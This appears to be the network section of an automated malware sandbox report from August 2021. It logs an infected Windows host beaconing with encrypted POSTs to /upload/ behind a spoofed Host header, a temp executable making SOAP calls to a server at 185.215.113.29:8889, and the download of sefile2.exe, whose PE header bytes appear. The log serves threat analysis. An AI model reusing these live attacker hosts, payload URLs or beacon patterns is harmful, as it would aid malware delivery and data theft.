Aug 19, 2021 07:53:45.588987112 CEST	11164	OUT	Data Raw: 39 6e 56 18 80 b8 6d 2e d7 aa b2 01 07 06 7c ba 0d 7a cf e1 18 73 e5 66 7b 09 73 95 41 c0 c2 62 99 5e c2 29 02 1f 24 69 e7 ee 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 1b 6b 2c 90 f5 76 0b 75 52 1f c3 86 Data Ascii: 9nVm.\|zsf{sAb^)$i?$`7C[zqNA -[k,vuRd+`QyPFufsdU&!K"zMPMJvPN~D!%_/`B=>O;;Z[c2%*7`FmqBcL?(b
Aug 19, 2021 07:53:45.759191990 CEST	11164	IN	HTTP/1.0 404 Not Found Date: Thu, 19 Aug 2021 05:53:45 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 334 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 70 6c 6f 61 64 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /upload/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.7	49744	210.207.244.101	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 19, 2021 07:53:46.104695082 CEST	11165	OUT	POST /upload/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://atvcampingtrips.com/upload/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 139 Host: atvcampingtrips.com
Aug 19, 2021 07:53:46.104717016 CEST	11166	OUT	Data Raw: 39 6e 56 18 80 b8 6d 2e d7 aa b2 01 07 06 7c ba 0d 7a cf e1 18 73 e5 66 7b 09 73 95 41 c0 c2 62 99 5e c2 29 02 1f 24 69 e7 ee 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 18 6b 2c 90 f5 76 0b 75 5a 14 d0 e6 Data Ascii: 9nVm.\|zsf{sAb^)$i?*$`7C[zqNA -[k,vuZ^qbc~.>ps(9DMR>
Aug 19, 2021 07:53:47.369575024 CEST	11175	IN	HTTP/1.0 404 Not Found Date: Thu, 19 Aug 2021 05:53:46 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 334 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 70 6c 6f 61 64 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /upload/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.7	49746	210.207.244.101	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 19, 2021 07:53:47.720340014 CEST	11176	OUT	POST /upload/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://atvcampingtrips.com/upload/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 329 Host: atvcampingtrips.com
Aug 19, 2021 07:53:47.720494032 CEST	11176	OUT	Data Raw: 39 6e 56 18 80 b8 6d 2e d7 aa b2 01 07 06 7c ba 0d 7a cf e1 18 73 e5 66 7b 09 73 95 41 c0 c2 62 99 5e c2 29 02 1f 24 69 e7 ee 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 19 6b 2c 90 f5 76 0b 75 7b 0b ff 9f Data Ascii: 9nVm.\|zsf{sAb^)$i?$`7C[zqNA -[k,vu{UtSEu#` GiDICy%XH@%GTvpP"F+{^rP;6#zkc-%UUfIL
Aug 19, 2021 07:53:48.963541985 CEST	11193	IN	HTTP/1.0 404 Not Found Date: Thu, 19 Aug 2021 05:53:48 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 334 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 70 6c 6f 61 64 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /upload/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.7	49747	185.215.113.29	8889	C:\Users\user\AppData\Local\Temp\337E.exe

Timestamp	kBytes transferred	Direction	Data
Aug 19, 2021 07:53:48.108851910 CEST	11177	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/SetEnvironment" Host: 185.215.113.29:8889 Content-Length: 12369 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 19, 2021 07:53:48.171011925 CEST	11177	IN	HTTP/1.1 100 Continue
Aug 19, 2021 07:53:48.404603004 CEST	11190	IN	HTTP/1.1 200 OK Content-Length: 147 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Thu, 19 Aug 2021 12:53:35 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 53 65 74 45 6e 76 69 72 6f 6e 6d 65 6e 74 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 2f 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><SetEnvironmentResponse xmlns="http://tempuri.org/"/></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.2.7	49748	185.215.113.29	8889	C:\Users\user\AppData\Local\Temp\337E.exe

Timestamp	kBytes transferred	Direction	Data
Aug 19, 2021 07:53:48.537200928 CEST	11191	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetUpdates" Host: 185.215.113.29:8889 Content-Length: 1390 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive
Aug 19, 2021 07:53:48.595247030 CEST	11191	IN	HTTP/1.1 100 Continue
Aug 19, 2021 07:53:48.702729940 CEST	11193	IN	HTTP/1.1 200 OK Content-Length: 261 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Thu, 19 Aug 2021 12:53:35 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 47 65 74 55 70 64 61 74 65 73 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 47 65 74 55 70 64 61 74 65 73 52 65 73 75 6c 74 20 78 6d 6c 6e 73 3a 61 3d 22 42 72 6f 77 73 65 72 45 78 74 65 6e 73 69 6f 6e 22 20 78 6d 6c 6e 73 3a 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 2f 3e 3c 2f 47 65 74 55 70 64 61 74 65 73 52 65 73 70 6f 6e 73 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><GetUpdatesResponse xmlns="http://tempuri.org/"><GetUpdatesResult xmlns:a="BrowserExtension" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"/></GetUpdatesResponse></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.2.7	49749	94.190.187.102	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 19, 2021 07:53:49.172635078 CEST	11194	OUT	POST /upload/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://atvcampingtrips.com/upload/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 128 Host: atvcampingtrips.com
Aug 19, 2021 07:53:49.172658920 CEST	11194	OUT	Data Raw: 39 6e 56 18 80 b8 6d 2e d7 aa b2 01 07 06 7c ba 0d 7a cf e1 18 73 e5 66 7b 09 73 95 41 c0 c2 62 99 5e c2 29 02 1f 24 69 e7 ee 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 1e 6b 2c 90 f5 76 0b 75 3a 48 a4 b9 Data Ascii: 9nVm.\|zsf{sAb^)$i?*$`7C[zqNA -[k,vu:HLY@vo{'\J&I
Aug 19, 2021 07:53:49.357641935 CEST	11195	IN	HTTP/1.0 404 Not Found Date: Thu, 19 Aug 2021 05:53:49 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 334 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 70 6c 6f 61 64 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /upload/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.2.7	49750	94.190.187.102	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 19, 2021 07:53:49.942962885 CEST	11196	OUT	POST /upload/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://atvcampingtrips.com/upload/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 298 Host: atvcampingtrips.com
Aug 19, 2021 07:53:49.942992926 CEST	11197	OUT	Data Raw: 39 6e 56 18 80 b8 6d 2e d7 aa b2 01 07 06 7c ba 0d 7a cf e1 18 73 e5 66 7b 09 73 95 41 c0 c2 62 99 5e c2 29 02 1f 24 69 e7 ee 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 1f 6b 2c 90 f5 76 0b 75 4c 3d ca fe Data Ascii: 9nVm.\|zsf{sAb^)$i?*$`7C[zqNA -[k,vuL=jCjeccPD "db,!Cv4WcdZ]j=]s<wDEr?=?!,[&p)T[1
Aug 19, 2021 07:53:50.174593925 CEST	11197	IN	HTTP/1.0 404 Not Found Date: Thu, 19 Aug 2021 05:53:50 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 334 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 70 6c 6f 61 64 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /upload/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.7	49716	94.190.187.102	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 19, 2021 07:53:08.858788013 CEST	2080	OUT	POST /upload/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://atvcampingtrips.com/upload/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 256 Host: atvcampingtrips.com
Aug 19, 2021 07:53:08.858804941 CEST	2080	OUT	Data Raw: 39 6e 56 18 80 b8 6d 2e d7 aa b2 01 07 06 7c ba 0d 7a cf e1 18 73 e5 66 7b 09 73 95 41 c0 c2 62 99 5e c2 29 02 1f 24 69 e7 ee 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 08 6b 2c 90 f5 76 0b 75 56 44 b0 8a Data Ascii: 9nVm.\|zsf{sAb^)$i?$`7C[zqNA -[k,vuVDaZ_~oGa=Wts@4]c75@bp\}Z2=\]V5wA_SZCtjG^08Z0te%
Aug 19, 2021 07:53:09.043271065 CEST	2081	IN	HTTP/1.0 404 Not Found Date: Thu, 19 Aug 2021 05:53:08 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 334 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 70 6c 6f 61 64 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /upload/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.2.7	49751	210.207.244.101	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 19, 2021 07:53:50.491136074 CEST	11198	OUT	POST /upload/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://atvcampingtrips.com/upload/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 122 Host: atvcampingtrips.com
Aug 19, 2021 07:53:50.491168022 CEST	11199	OUT	Data Raw: 39 6e 56 18 80 b8 6d 2e d7 aa b2 01 07 06 7c ba 0d 7a cf e1 18 73 e5 66 7b 09 73 95 41 c0 c2 62 99 5e c2 29 02 1f 24 69 e7 ee 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 1c 6b 2c 90 f5 76 0b 75 33 40 e2 bd Data Ascii: 9nVm.\|zsf{sAb^)$i?*$`7C[zqNA -[k,vu3@\gq^r;F.5s,{,
Aug 19, 2021 07:53:51.696322918 CEST	11199	IN	HTTP/1.0 404 Not Found Date: Thu, 19 Aug 2021 05:53:51 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 58 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 00 00 d8 80 d7 bd 9d d9 a1 98 be 23 cd c5 88 81 d0 9e 5c 28 52 39 08 a5 6c 58 b5 ad 1e bd cf b3 f3 6d 92 21 c7 ed 2e 15 1c 81 8b 88 cb 77 9b 2d 10 15 96 0e 8f 0b 28 56 4c b8 Data Ascii: #\(R9lXm!.w-(VL

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.2.7	49752	193.142.59.119	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 19, 2021 07:53:51.778157949 CEST	11200	OUT	GET /forum/images/sefile2.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: 193.142.59.119
Aug 19, 2021 07:53:51.811151028 CEST	11201	IN	HTTP/1.1 200 OK Date: Thu, 19 Aug 2021 05:53:51 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 Last-Modified: Thu, 19 Aug 2021 05:30:01 GMT ETag: "50800-5c9e2d7af48e7" Accept-Ranges: bytes Content-Length: 329728 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/octet-stream Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 e4 34 2e 64 85 5a 7d 64 85 5a 7d 64 85 5a 7d 7a d7 cf 7d 75 85 5a 7d 7a d7 d9 7d 0f 85 5a 7d 7a d7 de 7d 53 85 5a 7d 43 43 21 7d 67 85 5a 7d 64 85 5b 7d e9 85 5a 7d 7a d7 d0 7d 65 85 5a 7d 7a d7 ce 7d 65 85 5a 7d 7a d7 cb 7d 65 85 5a 7d 52 69 63 68 64 85 5a 7d 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 ab 78 cc 5e 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 b8 01 00 00 f0 fa 01 00 00 00 00 70 1a 00 00 00 10 00 00 00 d0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 b0 fb 01 00 04 00 00 4d dd 05 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 78 48 02 00 28 00 00 00 00 b0 fa 01 c8 fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 d2 01 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 3f 02 00 40 00 00 00 00 00 00 00 00 00 00 00 00 d0 01 00 f8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 00 b8 01 00 00 10 00 00 00 b8 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 ce 83 00 00 00 d0 01 00 00 84 00 00 00 bc 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 9c 43 f8 01 00 60 02 00 00 ca 01 00 00 40 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 c8 fd 00 00 00 b0 fa 01 00 fe 00 00 00 0a 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 